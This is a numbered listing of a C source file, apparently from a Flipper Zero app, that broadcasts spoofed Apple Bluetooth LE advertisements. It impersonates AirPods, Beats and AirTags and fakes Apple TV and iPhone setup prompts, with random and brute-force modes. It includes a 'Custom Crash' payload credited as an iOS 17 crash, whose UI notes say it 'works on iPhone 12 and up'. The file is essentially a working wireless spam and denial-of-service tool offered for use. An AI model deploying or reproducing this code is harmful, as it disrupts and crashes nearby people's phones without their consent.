continuity.c 43 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217
  1. #include "continuity.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL
  4. // iOS 17 Crash by @ECTO-1A
  5. // Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
  6. // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
  7. typedef struct {
  8. uint8_t value;
  9. const char* name;
  10. } ContinuityColor;
  11. static const ContinuityColor colors_white[] = {
  12. {0x00, "White"},
  13. };
  14. static const ContinuityColor colors_beats_flex[] = {
  15. {0x00, "White"},
  16. {0x01, "Black"},
  17. };
  18. static const ContinuityColor colors_beats_solo_3[] = {
  19. {0x00, "White"},
  20. {0x01, "Black"},
  21. };
  22. static const ContinuityColor colors_powerbeats_3[] = {
  23. {0x00, "White"},
  24. {0x01, "Black"},
  25. };
  26. static const ContinuityColor colors_powerbeats_pro[] = {
  27. {0x00, "White"},
  28. {0x02, "Yellowish Green"},
  29. {0x03, "Blue"},
  30. {0x04, "Black"},
  31. {0x05, "Pink"},
  32. {0x06, "Red"},
  33. {0x0B, "Gray ?"},
  34. {0x0D, "Sky Blue"},
  35. };
  36. static const ContinuityColor colors_beats_solo_pro[] = {
  37. {0x00, "White"},
  38. {0x01, "Black"},
  39. };
  40. static const ContinuityColor colors_beats_studio_buds[] = {
  41. {0x00, "White"},
  42. {0x01, "Black"},
  43. };
  44. static const ContinuityColor colors_beats_x[] = {
  45. {0x00, "White"},
  46. {0x01, "Black"},
  47. };
  48. static const ContinuityColor colors_beats_studio_3[] = {
  49. {0x00, "White"},
  50. {0x01, "Black"},
  51. {0x02, "Red"},
  52. {0x03, "Blue"},
  53. {0x18, "Shadow Gray"},
  54. {0x19, "Desert Sand"},
  55. {0x25, "Black / Red"},
  56. {0x26, "Midnight Black"},
  57. {0x27, "Desert Sand 2"},
  58. {0x28, "Gray"},
  59. {0x29, "Clear blue/ gold"},
  60. {0x42, "Green Forest camo"},
  61. {0x43, "White Camo"},
  62. };
  63. static const ContinuityColor colors_beats_studio_pro[] = {
  64. {0x00, "White"},
  65. {0x01, "Black"},
  66. };
  67. static const ContinuityColor colors_beats_fit_pro[] = {
  68. {0x00, "White"},
  69. {0x01, "Black"},
  70. };
  71. static const ContinuityColor colors_beats_studio_buds_[] = {
  72. {0x00, "Black"},
  73. {0x01, "White"},
  74. {0x02, "Transparent"},
  75. {0x03, "Silver"},
  76. {0x04, "Pink"},
  77. };
  78. static const struct {
  79. uint16_t value;
  80. const char* name;
  81. const ContinuityColor* colors;
  82. const uint8_t colors_count;
  83. } pp_models[] = {
  84. {0x0E20, "AirPods Pro", colors_white, COUNT_OF(colors_white)},
  85. {0x0A20, "AirPods Max", colors_white, COUNT_OF(colors_white)},
  86. {0x0055, "Airtag", colors_white, COUNT_OF(colors_white)},
  87. {0x0030, "Hermes Airtag", colors_white, COUNT_OF(colors_white)},
  88. {0x0220, "AirPods", colors_white, COUNT_OF(colors_white)},
  89. {0x0F20, "AirPods 2nd Gen", colors_white, COUNT_OF(colors_white)},
  90. {0x1320, "AirPods 3rd Gen", colors_white, COUNT_OF(colors_white)},
  91. {0x1420, "AirPods Pro 2nd Gen", colors_white, COUNT_OF(colors_white)},
  92. {0x1020, "Beats Flex", colors_beats_flex, COUNT_OF(colors_beats_flex)},
  93. {0x0620, "Beats Solo 3", colors_beats_solo_3, COUNT_OF(colors_beats_solo_3)},
  94. {0x0320, "Powerbeats 3", colors_powerbeats_3, COUNT_OF(colors_powerbeats_3)},
  95. {0x0B20, "Powerbeats Pro", colors_powerbeats_pro, COUNT_OF(colors_powerbeats_pro)},
  96. {0x0C20, "Beats Solo Pro", colors_beats_solo_pro, COUNT_OF(colors_beats_solo_pro)},
  97. {0x1120, "Beats Studio Buds", colors_beats_studio_buds, COUNT_OF(colors_beats_studio_buds)},
  98. {0x0520, "Beats X", colors_beats_x, COUNT_OF(colors_beats_x)},
  99. {0x0920, "Beats Studio 3", colors_beats_studio_3, COUNT_OF(colors_beats_studio_3)},
  100. {0x1720, "Beats Studio Pro", colors_beats_studio_pro, COUNT_OF(colors_beats_studio_pro)},
  101. {0x1220, "Beats Fit Pro", colors_beats_fit_pro, COUNT_OF(colors_beats_fit_pro)},
  102. {0x1620, "Beats Studio Buds+", colors_beats_studio_buds_, COUNT_OF(colors_beats_studio_buds_)},
  103. };
  104. static const uint8_t pp_models_count = COUNT_OF(pp_models);
  105. static const struct {
  106. uint8_t value;
  107. const char* name;
  108. } pp_prefixes[] = {
  109. {0x07, "New Device"},
  110. {0x01, "Not Your Device"},
  111. {0x05, "New Airtag"},
  112. };
  113. static const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
  114. static const struct {
  115. uint8_t value;
  116. const char* name;
  117. } na_actions[] = {
  118. {0x13, "AppleTV AutoFill"},
  119. {0x27, "AppleTV Connecting..."},
  120. {0x20, "Join This AppleTV?"},
  121. {0x19, "AppleTV Audio Sync"},
  122. {0x1E, "AppleTV Color Balance"},
  123. {0x09, "Setup New iPhone"},
  124. {0x02, "Transfer Phone Number"},
  125. {0x0B, "HomePod Setup"},
  126. {0x01, "Setup New AppleTV"},
  127. {0x06, "Pair AppleTV"},
  128. {0x0D, "HomeKit AppleTV Setup"},
  129. {0x2B, "AppleID for AppleTV?"},
  130. };
  131. static const uint8_t na_actions_count = COUNT_OF(na_actions);
  132. static const char* type_names[ContinuityTypeCOUNT] = {
  133. [ContinuityTypeAirDrop] = "AirDrop",
  134. [ContinuityTypeProximityPair] = "Continuity Pair",
  135. [ContinuityTypeAirplayTarget] = "Airplay Target",
  136. [ContinuityTypeHandoff] = "Handoff",
  137. [ContinuityTypeTetheringSource] = "Tethering Source",
  138. [ContinuityTypeNearbyAction] = "Continuity Action",
  139. [ContinuityTypeNearbyInfo] = "Nearby Info",
  140. [ContinuityTypeCustomCrash] = "Continuity Custom",
  141. };
  142. static const char* get_name(const Payload* payload) {
  143. const ContinuityCfg* cfg = &payload->cfg.continuity;
  144. return type_names[cfg->type];
  145. }
  146. #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
  147. static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
  148. [ContinuityTypeAirDrop] = HEADER_LEN + 18,
  149. [ContinuityTypeProximityPair] = HEADER_LEN + 25,
  150. [ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
  151. [ContinuityTypeHandoff] = HEADER_LEN + 14,
  152. [ContinuityTypeTetheringSource] = HEADER_LEN + 6,
  153. [ContinuityTypeNearbyAction] = HEADER_LEN + 5,
  154. [ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
  155. [ContinuityTypeCustomCrash] = HEADER_LEN + 11,
  156. };
  157. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  158. ContinuityCfg* cfg = payload ? &payload->cfg.continuity : NULL;
  159. ContinuityType type;
  160. if(cfg && cfg->type != 0x00) {
  161. type = cfg->type;
  162. } else {
  163. const ContinuityType types[] = {
  164. ContinuityTypeProximityPair,
  165. ContinuityTypeNearbyAction,
  166. ContinuityTypeCustomCrash,
  167. };
  168. type = types[rand() % COUNT_OF(types)];
  169. }
  170. uint8_t size = packet_sizes[type];
  171. uint8_t* packet = malloc(size);
  172. uint8_t i = 0;
  173. packet[i++] = size - 1; // Size
  174. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  175. packet[i++] = 0x4C; // Company ID (Apple, Inc.)
  176. packet[i++] = 0x00; // ...
  177. packet[i++] = type; // Continuity Type
  178. packet[i] = size - i - 1; // Continuity Size
  179. i++;
  180. switch(type) {
  181. case ContinuityTypeAirDrop: {
  182. packet[i++] = 0x00; // Zeros
  183. packet[i++] = 0x00; // ...
  184. packet[i++] = 0x00; // ...
  185. packet[i++] = 0x00; // ...
  186. packet[i++] = 0x00; // ...
  187. packet[i++] = 0x00; // ...
  188. packet[i++] = 0x00; // ...
  189. packet[i++] = 0x00; // ...
  190. packet[i++] = 0x01; // Version
  191. packet[i++] = (rand() % 256); // AppleID
  192. packet[i++] = (rand() % 256); // ...
  193. packet[i++] = (rand() % 256); // Phone Number
  194. packet[i++] = (rand() % 256); // ...
  195. packet[i++] = (rand() % 256); // Email
  196. packet[i++] = (rand() % 256); // ...
  197. packet[i++] = (rand() % 256); // Email2
  198. packet[i++] = (rand() % 256); // ...
  199. packet[i++] = 0x00; // Zero
  200. break;
  201. }
  202. case ContinuityTypeProximityPair: {
  203. uint16_t model;
  204. uint8_t color;
  205. switch(payload ? payload->mode : PayloadModeRandom) {
  206. case PayloadModeRandom:
  207. default: {
  208. uint8_t model_index = rand() % pp_models_count;
  209. uint8_t color_index = rand() % pp_models[model_index].colors_count;
  210. model = pp_models[model_index].value;
  211. color = pp_models[model_index].colors[color_index].value;
  212. break;
  213. }
  214. case PayloadModeValue:
  215. model = cfg->data.proximity_pair.model;
  216. color = cfg->data.proximity_pair.color;
  217. break;
  218. case PayloadModeBruteforce:
  219. switch(cfg->data.proximity_pair.bruteforce_mode) {
  220. case ContinuityPpBruteforceModel:
  221. default:
  222. model = cfg->data.proximity_pair.model = payload->bruteforce.value;
  223. color = cfg->data.proximity_pair.color;
  224. break;
  225. case ContinuityPpBruteforceColor:
  226. model = cfg->data.proximity_pair.model;
  227. color = cfg->data.proximity_pair.color = payload->bruteforce.value;
  228. break;
  229. }
  230. break;
  231. }
  232. uint8_t prefix;
  233. if(cfg && cfg->data.proximity_pair.prefix != 0x00) {
  234. prefix = cfg->data.proximity_pair.prefix;
  235. } else {
  236. if(model == 0x0055 || model == 0x0030)
  237. prefix = 0x05;
  238. else
  239. prefix = 0x01;
  240. }
  241. packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
  242. packet[i++] = (model >> 0x08) & 0xFF; // Device Model
  243. packet[i++] = (model >> 0x00) & 0xFF; // ...
  244. packet[i++] = 0x55; // Status
  245. packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
  246. packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
  247. packet[i++] = (rand() % 256); // Lid Open Counter
  248. packet[i++] = color; // Device Color
  249. packet[i++] = 0x00;
  250. furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
  251. i += 16;
  252. break;
  253. }
  254. case ContinuityTypeAirplayTarget: {
  255. packet[i++] = (rand() % 256); // Flags
  256. packet[i++] = (rand() % 256); // Configuration Seed
  257. packet[i++] = (rand() % 256); // IPv4 Address
  258. packet[i++] = (rand() % 256); // ...
  259. packet[i++] = (rand() % 256); // ...
  260. packet[i++] = (rand() % 256); // ...
  261. break;
  262. }
  263. case ContinuityTypeHandoff: {
  264. packet[i++] = 0x01; // Version
  265. packet[i++] = (rand() % 256); // Initialization Vector
  266. packet[i++] = (rand() % 256); // ...
  267. packet[i++] = (rand() % 256); // AES-GCM Auth Tag
  268. packet[i++] = (rand() % 256); // Encrypted Payload
  269. packet[i++] = (rand() % 256); // ...
  270. packet[i++] = (rand() % 256); // ...
  271. packet[i++] = (rand() % 256); // ...
  272. packet[i++] = (rand() % 256); // ...
  273. packet[i++] = (rand() % 256); // ...
  274. packet[i++] = (rand() % 256); // ...
  275. packet[i++] = (rand() % 256); // ...
  276. packet[i++] = (rand() % 256); // ...
  277. packet[i++] = (rand() % 256); // ...
  278. break;
  279. }
  280. case ContinuityTypeTetheringSource: {
  281. packet[i++] = 0x01; // Version
  282. packet[i++] = (rand() % 256); // Flags
  283. packet[i++] = (rand() % 101); // Battery Life
  284. packet[i++] = 0x00; // Cell Service Type
  285. packet[i++] = (rand() % 8); // ...
  286. packet[i++] = (rand() % 5); // Cell Service Strength
  287. break;
  288. }
  289. case ContinuityTypeNearbyAction: {
  290. uint8_t action;
  291. switch(payload ? payload->mode : PayloadModeRandom) {
  292. case PayloadModeRandom:
  293. default:
  294. action = na_actions[rand() % na_actions_count].value;
  295. break;
  296. case PayloadModeValue:
  297. action = cfg->data.nearby_action.action;
  298. break;
  299. case PayloadModeBruteforce:
  300. action = cfg->data.nearby_action.action = payload->bruteforce.value;
  301. break;
  302. }
  303. uint8_t flags;
  304. if(cfg && cfg->data.nearby_action.flags != 0x00) {
  305. flags = cfg->data.nearby_action.flags;
  306. } else {
  307. flags = 0xC0;
  308. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  309. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  310. }
  311. packet[i++] = flags; // Action Flags
  312. packet[i++] = action; // Action Type
  313. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  314. i += 3;
  315. break;
  316. }
  317. case ContinuityTypeNearbyInfo: {
  318. packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
  319. packet[i++] = (rand() % 256); // Status Flags
  320. packet[i++] = (rand() % 256); // Authentication Tag
  321. packet[i++] = (rand() % 256); // ...
  322. packet[i++] = (rand() % 256); // ...
  323. break;
  324. }
  325. case ContinuityTypeCustomCrash: {
  326. // Found by @ECTO-1A
  327. uint8_t action = na_actions[rand() % na_actions_count].value;
  328. uint8_t flags = 0xC0;
  329. if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
  330. if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
  331. i -= 2; // Override segment header
  332. packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
  333. packet[i++] = 5; // Continuity Size
  334. packet[i++] = flags; // Action Flags
  335. packet[i++] = action; // Action Type
  336. furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
  337. i += 3;
  338. packet[i++] = 0x00; // Additional Action Data Terminator (?)
  339. packet[i++] = 0x00; // ...
  340. packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
  341. furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
  342. i += 3;
  343. break;
  344. }
  345. default:
  346. break;
  347. }
  348. *_size = size;
  349. *_packet = packet;
  350. }
  351. enum {
  352. _ConfigPpExtraStart = ConfigExtraStart,
  353. ConfigPpModel,
  354. ConfigPpColor,
  355. ConfigPpPrefix,
  356. ConfigPpCOUNT,
  357. };
  358. enum {
  359. _ConfigNaExtraStart = ConfigExtraStart,
  360. ConfigNaAction,
  361. ConfigNaFlags,
  362. ConfigNaCOUNT,
  363. };
  364. enum {
  365. _ConfigCcExtraStart = ConfigExtraStart,
  366. ConfigCcInfoLock,
  367. ConfigCcInfoDevice,
  368. ConfigCcCOUNT,
  369. };
  370. static void config_callback(void* _ctx, uint32_t index) {
  371. Ctx* ctx = _ctx;
  372. Payload* payload = &ctx->attack->payload;
  373. ContinuityCfg* cfg = &payload->cfg.continuity;
  374. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  375. switch(cfg->type) {
  376. case ContinuityTypeProximityPair: {
  377. switch(index) {
  378. case ConfigPpModel:
  379. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
  380. break;
  381. case ConfigPpColor:
  382. if(payload->mode != PayloadModeRandom)
  383. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpColor);
  384. break;
  385. case ConfigPpPrefix:
  386. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
  387. break;
  388. default:
  389. ctx->fallback_config_enter(ctx, index);
  390. break;
  391. }
  392. break;
  393. }
  394. case ContinuityTypeNearbyAction: {
  395. switch(index) {
  396. case ConfigNaAction:
  397. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
  398. break;
  399. case ConfigNaFlags:
  400. scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
  401. break;
  402. default:
  403. ctx->fallback_config_enter(ctx, index);
  404. break;
  405. }
  406. break;
  407. }
  408. case ContinuityTypeCustomCrash: {
  409. switch(index) {
  410. case ConfigCcInfoLock:
  411. case ConfigCcInfoDevice:
  412. break;
  413. default:
  414. ctx->fallback_config_enter(ctx, index);
  415. break;
  416. }
  417. break;
  418. }
  419. default:
  420. ctx->fallback_config_enter(ctx, index);
  421. break;
  422. }
  423. }
  424. static void pp_model_changed(VariableItem* item) {
  425. Ctx* ctx = variable_item_get_context(item);
  426. Payload* payload = &ctx->attack->payload;
  427. ContinuityCfg* cfg = &payload->cfg.continuity;
  428. uint8_t index = variable_item_get_current_value_index(item);
  429. const char* color_name = NULL;
  430. char color_name_buf[3];
  431. uint8_t colors_count;
  432. uint8_t value_index_color;
  433. if(index) {
  434. index--;
  435. if(payload->mode != PayloadModeBruteforce ||
  436. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  437. payload->mode = PayloadModeValue;
  438. cfg->data.proximity_pair.model = pp_models[index].value;
  439. variable_item_set_current_value_text(item, pp_models[index].name);
  440. colors_count = pp_models[index].colors_count;
  441. if(payload->mode == PayloadModeValue) {
  442. for(uint8_t j = 0; j < colors_count; j++) {
  443. if(cfg->data.proximity_pair.color == pp_models[index].colors[j].value) {
  444. color_name = pp_models[index].colors[j].name;
  445. value_index_color = j;
  446. break;
  447. }
  448. }
  449. if(!color_name) {
  450. snprintf(
  451. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  452. color_name = color_name_buf;
  453. value_index_color = colors_count;
  454. }
  455. } else {
  456. color_name = "Bruteforce";
  457. value_index_color = colors_count;
  458. }
  459. } else {
  460. payload->mode = PayloadModeRandom;
  461. variable_item_set_current_value_text(item, "Random");
  462. color_name = "Random";
  463. colors_count = 1;
  464. value_index_color = 0;
  465. }
  466. item = variable_item_list_get(ctx->variable_item_list, ConfigPpColor);
  467. variable_item_set_values_count(item, colors_count);
  468. variable_item_set_current_value_index(item, value_index_color);
  469. variable_item_set_current_value_text(item, color_name);
  470. }
  471. static void pp_color_changed(VariableItem* item) {
  472. Payload* payload = variable_item_get_context(item);
  473. ContinuityCfg* cfg = &payload->cfg.continuity;
  474. uint8_t index = variable_item_get_current_value_index(item);
  475. if(payload->mode != PayloadModeBruteforce ||
  476. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceColor)
  477. payload->mode = PayloadModeValue;
  478. uint8_t model_index = 0;
  479. for(; model_index < pp_models_count; model_index++) {
  480. if(cfg->data.proximity_pair.model == pp_models[model_index].value) break;
  481. }
  482. cfg->data.proximity_pair.color = pp_models[model_index].colors[index].value;
  483. variable_item_set_current_value_text(item, pp_models[model_index].colors[index].name);
  484. }
  485. static void pp_prefix_changed(VariableItem* item) {
  486. Payload* payload = variable_item_get_context(item);
  487. ContinuityCfg* cfg = &payload->cfg.continuity;
  488. uint8_t index = variable_item_get_current_value_index(item);
  489. if(index) {
  490. index--;
  491. cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
  492. variable_item_set_current_value_text(item, pp_prefixes[index].name);
  493. } else {
  494. cfg->data.proximity_pair.prefix = 0x00;
  495. variable_item_set_current_value_text(item, "Auto");
  496. }
  497. }
  498. static void na_action_changed(VariableItem* item) {
  499. Payload* payload = variable_item_get_context(item);
  500. ContinuityCfg* cfg = &payload->cfg.continuity;
  501. uint8_t index = variable_item_get_current_value_index(item);
  502. if(index) {
  503. index--;
  504. payload->mode = PayloadModeValue;
  505. cfg->data.nearby_action.action = na_actions[index].value;
  506. variable_item_set_current_value_text(item, na_actions[index].name);
  507. } else {
  508. payload->mode = PayloadModeRandom;
  509. variable_item_set_current_value_text(item, "Random");
  510. }
  511. }
  512. static void extra_config(Ctx* ctx) {
  513. Payload* payload = &ctx->attack->payload;
  514. ContinuityCfg* cfg = &payload->cfg.continuity;
  515. VariableItemList* list = ctx->variable_item_list;
  516. VariableItem* item;
  517. uint8_t value_index;
  518. switch(cfg->type) {
  519. case ContinuityTypeProximityPair: {
  520. item =
  521. variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, ctx);
  522. const char* model_name = NULL;
  523. char model_name_buf[5];
  524. const char* color_name = NULL;
  525. char color_name_buf[3];
  526. uint8_t colors_count;
  527. uint8_t value_index_color;
  528. switch(payload->mode) {
  529. case PayloadModeRandom:
  530. default:
  531. model_name = "Random";
  532. value_index = 0;
  533. color_name = "Random";
  534. colors_count = 1;
  535. value_index_color = 0;
  536. break;
  537. case PayloadModeValue:
  538. for(uint8_t i = 0; i < pp_models_count; i++) {
  539. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  540. model_name = pp_models[i].name;
  541. value_index = i + 1;
  542. colors_count = pp_models[i].colors_count;
  543. for(uint8_t j = 0; j < colors_count; j++) {
  544. if(cfg->data.proximity_pair.color == pp_models[i].colors[j].value) {
  545. color_name = pp_models[i].colors[j].name;
  546. value_index_color = j;
  547. break;
  548. }
  549. }
  550. break;
  551. }
  552. }
  553. if(!model_name) {
  554. snprintf(
  555. model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
  556. model_name = model_name_buf;
  557. value_index = pp_models_count + 1;
  558. colors_count = 0;
  559. }
  560. if(!color_name) {
  561. snprintf(
  562. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  563. color_name = color_name_buf;
  564. value_index_color = colors_count;
  565. }
  566. break;
  567. case PayloadModeBruteforce:
  568. switch(cfg->data.proximity_pair.bruteforce_mode) {
  569. case ContinuityPpBruteforceModel:
  570. default:
  571. model_name = "Bruteforce";
  572. value_index = pp_models_count + 1;
  573. snprintf(
  574. color_name_buf, sizeof(color_name_buf), "%02X", cfg->data.proximity_pair.color);
  575. color_name = color_name_buf;
  576. colors_count = 1;
  577. value_index_color = 0;
  578. break;
  579. case ContinuityPpBruteforceColor:
  580. for(uint8_t i = 0; i < pp_models_count; i++) {
  581. if(cfg->data.proximity_pair.model == pp_models[i].value) {
  582. model_name = pp_models[i].name;
  583. value_index = i + 1;
  584. colors_count = pp_models[i].colors_count;
  585. break;
  586. }
  587. }
  588. if(!model_name) {
  589. snprintf(
  590. model_name_buf,
  591. sizeof(model_name_buf),
  592. "%04X",
  593. cfg->data.proximity_pair.model);
  594. model_name = model_name_buf;
  595. value_index = pp_models_count + 1;
  596. colors_count = 0;
  597. }
  598. color_name = "Bruteforce";
  599. value_index_color = colors_count;
  600. break;
  601. }
  602. break;
  603. }
  604. variable_item_set_current_value_index(item, value_index);
  605. variable_item_set_current_value_text(item, model_name);
  606. item =
  607. variable_item_list_add(list, "Device Color", colors_count, pp_color_changed, payload);
  608. variable_item_set_current_value_index(item, value_index_color);
  609. variable_item_set_current_value_text(item, color_name);
  610. item = variable_item_list_add(
  611. list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, payload);
  612. const char* prefix_name = NULL;
  613. char prefix_name_buf[3];
  614. if(cfg->data.proximity_pair.prefix == 0x00) {
  615. prefix_name = "Auto";
  616. value_index = 0;
  617. } else {
  618. for(uint8_t i = 0; i < pp_prefixes_count; i++) {
  619. if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
  620. prefix_name = pp_prefixes[i].name;
  621. value_index = i + 1;
  622. break;
  623. }
  624. }
  625. if(!prefix_name) {
  626. snprintf(
  627. prefix_name_buf,
  628. sizeof(prefix_name_buf),
  629. "%02X",
  630. cfg->data.proximity_pair.prefix);
  631. prefix_name = prefix_name_buf;
  632. value_index = pp_prefixes_count + 1;
  633. }
  634. }
  635. variable_item_set_current_value_index(item, value_index);
  636. variable_item_set_current_value_text(item, prefix_name);
  637. break;
  638. }
  639. case ContinuityTypeNearbyAction: {
  640. item = variable_item_list_add(
  641. list, "Action Type", na_actions_count + 1, na_action_changed, payload);
  642. const char* action_name = NULL;
  643. char action_name_buf[3];
  644. switch(payload->mode) {
  645. case PayloadModeRandom:
  646. default:
  647. action_name = "Random";
  648. value_index = 0;
  649. break;
  650. case PayloadModeValue:
  651. for(uint8_t i = 0; i < na_actions_count; i++) {
  652. if(cfg->data.nearby_action.action == na_actions[i].value) {
  653. action_name = na_actions[i].name;
  654. value_index = i + 1;
  655. break;
  656. }
  657. }
  658. if(!action_name) {
  659. snprintf(
  660. action_name_buf,
  661. sizeof(action_name_buf),
  662. "%02X",
  663. cfg->data.nearby_action.action);
  664. action_name = action_name_buf;
  665. value_index = na_actions_count + 1;
  666. }
  667. break;
  668. case PayloadModeBruteforce:
  669. action_name = "Bruteforce";
  670. value_index = na_actions_count + 1;
  671. break;
  672. }
  673. variable_item_set_current_value_index(item, value_index);
  674. variable_item_set_current_value_text(item, action_name);
  675. item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
  676. const char* flags_name = NULL;
  677. char flags_name_buf[3];
  678. if(cfg->data.nearby_action.flags == 0x00) {
  679. flags_name = "Auto";
  680. } else {
  681. snprintf(
  682. flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
  683. flags_name = flags_name_buf;
  684. }
  685. variable_item_set_current_value_text(item, flags_name);
  686. break;
  687. }
  688. case ContinuityTypeCustomCrash: {
  689. variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
  690. variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
  691. break;
  692. }
  693. default:
  694. break;
  695. }
  696. variable_item_list_set_enter_callback(list, config_callback, ctx);
  697. }
  698. static uint8_t config_counts[ContinuityTypeCOUNT] = {
  699. [ContinuityTypeAirDrop] = 0,
  700. [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
  701. [ContinuityTypeAirplayTarget] = 0,
  702. [ContinuityTypeHandoff] = 0,
  703. [ContinuityTypeTetheringSource] = 0,
  704. [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
  705. [ContinuityTypeNearbyInfo] = 0,
  706. [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
  707. };
  708. static uint8_t config_count(const Payload* payload) {
  709. const ContinuityCfg* cfg = &payload->cfg.continuity;
  710. return config_counts[cfg->type];
  711. }
  712. const Protocol protocol_continuity = {
  713. .icon = &I_apple,
  714. .get_name = get_name,
  715. .make_packet = make_packet,
  716. .extra_config = extra_config,
  717. .config_count = config_count,
  718. };
  719. static void pp_model_callback(void* _ctx, uint32_t index) {
  720. Ctx* ctx = _ctx;
  721. Payload* payload = &ctx->attack->payload;
  722. ContinuityCfg* cfg = &payload->cfg.continuity;
  723. switch(index) {
  724. case 0:
  725. payload->mode = PayloadModeRandom;
  726. scene_manager_previous_scene(ctx->scene_manager);
  727. break;
  728. case pp_models_count + 1:
  729. scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
  730. break;
  731. case pp_models_count + 2:
  732. payload->mode = PayloadModeBruteforce;
  733. payload->bruteforce.counter = 0;
  734. payload->bruteforce.value = cfg->data.proximity_pair.model;
  735. payload->bruteforce.size = 2;
  736. cfg->data.proximity_pair.bruteforce_mode = ContinuityPpBruteforceModel;
  737. scene_manager_previous_scene(ctx->scene_manager);
  738. break;
  739. default:
  740. if(payload->mode != PayloadModeBruteforce ||
  741. cfg->data.proximity_pair.bruteforce_mode == ContinuityPpBruteforceModel)
  742. payload->mode = PayloadModeValue;
  743. cfg->data.proximity_pair.model = pp_models[index - 1].value;
  744. scene_manager_previous_scene(ctx->scene_manager);
  745. break;
  746. }
  747. }
